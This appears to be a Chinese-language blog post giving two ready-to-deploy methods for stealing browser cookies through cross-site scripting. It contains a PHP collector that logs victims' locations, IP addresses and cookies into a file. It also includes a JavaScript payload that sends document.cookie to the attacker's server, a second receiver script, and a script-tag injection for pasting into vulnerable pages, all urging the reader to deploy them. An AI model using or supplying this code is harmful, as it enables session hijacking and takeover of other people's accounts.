[radio color="blue" checked="checked"]第一种方法[/radio]
PHP文件,可以改名:=_=.php
<?php
//使用前先get提交 ?sub=ko,创建一个主题表格
if($_GET['sub']==ko){
$fp = fopen('+_+xss-_-.php','a');
$sub="<table width='100%'border='1'>
<tr>
<th width='10%' bgcolor='#FFFFCC' scope='col'>Date</th>
<th width='30%' bgcolor='#99CCFF' scope='col'>Location</th>
<th width='10%' bgcolor='#FFFFCC' scope='col'>IP</th>
<th width='50%' bgcolor='#99CCFF' scope='col'>Cookie</th>
</tr></table>";
fputs($fp,$sub);
fclose($fp);
}
//get提交 ?del=ko 清空所有数据
elseif($_GET['del']==ko){
$fp = fopen('+_+xss-_-.php','w');
fputs($fp,"\n");
fclose($fp);
}
//从js中获取数据并输出表格
elseif($_GET){
$date = date('Y:m:d H:i:s');
$location = $_GET["location"];
$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET["cookie"];
$fp = fopen('+_+xss-_-.php','a');
$xss= "<table width='100%' border='1'>
<tr>
<th width='10%' bgcolor='#FFFFCC'>".$date."</th>
<th width='30%' bgcolor='##99CCFF'>".$location."</th>
<th width='10%' bgcolor='#FFFFCC'>".$ip."</th>
<th width='50%' bgcolor='##99CCFF'>".$cookie."</th>
</tr></table>";
fputs($fp,$xss);
fclose($fp);
}
//以下是另一种表格显示形式
/*
if($_GET){
$location = $_GET["location"];
$cookie = $_GET["cookie"];
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y:m:d H:i:s');
// $fp = fopen('+_+xss-_-.php','a');
$temp=file_get_contents("+_+xss-_-.php"); //用此方法即可在文件头追加最新数据,显示在最前面!
$xss= "<table width='888' border='1' id='xss'>
<tr>
<th width='88' bgcolor='#99CCFF' scope='row'>Date</th>
<td width='800' bgcolor='#FFFFCC'>".$date."</td>
</tr>
<tr>
<th bgcolor='#99CCFF' scope='row'>Location</th>
<td bgcolor='#FFFFCC'>".$location."</td>
</tr>
<tr>
<th bgcolor='#99CCFF' scope='row'>Cookie</th>
<td bgcolor='#FFFFCC'>".$cookie."</td>
</tr>
<tr>
<th bgcolor='#99CCFF' scope='row'>IP</th>
<td bgcolor='#FFFFCC'>".$ip."</td>
</tr>
</table>
<br><br>";
file_put_contents("+_+xss-_-.php",$xss.$temp); //用此方法即可在文件头追加最新数据,显示在最前面!
// fputs($fp,$xss);
// fclose($fp);
}
*/
?>
js文件:+_+.js
var x=new Image(); try { var myopener=''; myopener=window.opener && window.opener.location ? window.opener.location : ''; } catch(err) { } x.src='http://127.0.0.1/=_=.php?location='+escape(document.location)+'&cookie='+escape(document.cookie);
自己部署一下吧!!~~~~
[radio color="blue" checked="checked"]第二种方法[/radio]
得知存在漏洞后我们可以利用自己搭建的平台来盗取cookie值(首先是搭好自己的网站啦,PHPstudy、wamp什么的都行)
在网站根目录下创建一个getcookie.php文档,写入如下代码
<?php //cookie接受脚本 $cookie = $_GET['c']; echo $cookie; $file=fopen("cookie.html","a+");//打开一个句柄,准备写入,‘a+’指的是以追加的方式写入 fwrite($file,$cookie);//把cookie值写入文件中 fwrite($file,"<hr>"); fclose($file);//关闭句柄 ?>
这个页面会自己创建一个cookie.html页面,并将盗取的cookie值写入其中
然后构建一个xss语句来触发连接这个页面
<script>var a=document.cookie;window.open("http://x.x.x.x/getcookie.php?c="%2Ba);</script>
1.
把这个语句加入到存在xss的页面中就可以了(语句里的x.x.x.x是自己的ip地址),这条语句就会链接到上面的getcookie页面
Comments | NOTHING
该文章已经关闭评论